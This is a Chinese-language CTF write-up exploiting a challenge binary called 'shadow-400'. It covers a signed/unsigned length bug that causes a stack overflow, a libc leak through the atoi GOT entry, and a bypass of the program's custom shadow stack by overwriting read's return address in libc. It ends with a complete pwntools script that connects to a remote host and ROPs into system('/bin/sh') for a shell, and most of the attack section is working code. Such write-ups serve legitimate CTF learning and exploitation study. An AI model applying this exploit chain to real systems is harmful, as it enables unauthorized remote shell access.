首先,检查一下程序的保护机制
然后,我们用IDA分析一下
程序里面自己实现了call和ret
call函数
push函数
这是主功能区
看不出什么,我们来分析汇编代码
[atoi的结果是一个有符号的数,而getline的长度参数为无符号数,为了绕过0x20个长度的限制,我们只需输入负数,即可,就可以栈溢出了。]{.mark}
首先,我们需要泄露libc地址,那么我们只需泄露任意一个libc函数地址即可,我们可以栈溢出,覆盖ebp+arg_0里面的指针为函数的got表,即可泄露了,同时,为了增加利用次数,我们把[ebp+arg8]覆盖为一个很大的数,比如0x100
原本只能利用3次,现在,我们覆盖了[ebp+arg_8]的值,就可以多次利用了
1 2 3 4 5 6 7 8 9 10
| payload = 'a'*0x34 + p32(atoi_got) + p32(0x100) + p32(0x100) setMessage(payload) sh.recvuntil('<') atoi_addr = u32(sh.recv(4)) print 'atoi_addr=',hex(atoi_addr) libc = LibcSearcher('atoi',atoi_addr) libc_base = atoi_addr - libc.dump('atoi') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh')
|
现在,我们可以构造ROP了??
如果是一般的步骤,直接构造ROP就可以getshell了,然而,本题没有这么简单。本题自己实现了个shadow call和shadow ret,自己申请了一片空间专门用来管理返回地址,[因此,我们覆盖栈里的当前函数的返回地址没有用。因为ret()函数是从自己的那片空间里取出地址返回。]{.mark}
也就是说,只要是这个二进制里的几个函数都不行,那么我们可以考虑**[劫持libc中的函数的返回地址。因为libc中没有使用这个shadow call和ret。]{.mark}**
我们可以直接劫持read的返回地址,这样read结束后直接就执行ROP了。
注意到这里,利用之前的栈溢出,我们覆盖[ebp+arg_0]指针可以实现任意地址读写,如果本题没有FULL RELRO,我们都可以直接在这里修改GOT表了。
我们**[只需把[ebp+arg_0覆盖为] read的返回地址在栈里存放的位置,然后在这里输入ROP即可]{.mark}**
因此,我们还需要泄露栈地址,这样才能确定read返回地址存放的位置。有两种方法泄露栈地址
1 2 3 4 5 6 7 8 9 10
| setName('zhaohai'.ljust(0x10,'a')) setMessage('hello,I am zhaohai') sh.recvuntil('<') sh.recv(0x1C) stack_addr = u32(sh.recv(4)) changeName('n') print 'stack_addr=',hex(stack_addr)
target_addr = stack_addr - 0x100
|
综上,我们完整的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * from LibcSearcher import *
sh = remote('111.198.29.45',54578) elf = ELF('./shadow-400') atoi_got = elf.got['atoi'] def setName(name): sh.sendafter('Input name :',name) def setMessage(message): sh.sendlineafter('Message length :','-1') sh.sendafter('Input message :',message) def changeName(c): sh.sendlineafter('Change name?',c)
setName('zhaohai'.ljust(0x10,'a')) setMessage('hello,I am zhaohai') sh.recvuntil('<') sh.recv(0x1C) stack_addr = u32(sh.recv(4)) changeName('n') print 'stack_addr=',hex(stack_addr)
target_addr = stack_addr - 0x100
payload = 'a'*0x34 + p32(atoi_got) + p32(0x100) + p32(0x100) setMessage(payload) sh.recvuntil('<') atoi_addr = u32(sh.recv(4)) print 'atoi_addr=',hex(atoi_addr) libc = LibcSearcher('atoi',atoi_addr) libc_base = atoi_addr - libc.dump('atoi') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') changeName('n')
payload = 'a'*0x34 + p32(target_addr) setMessage(payload)
rop = p32(system_addr) + p32(0) + p32(binsh_addr) setName(rop) sh.interactive()
|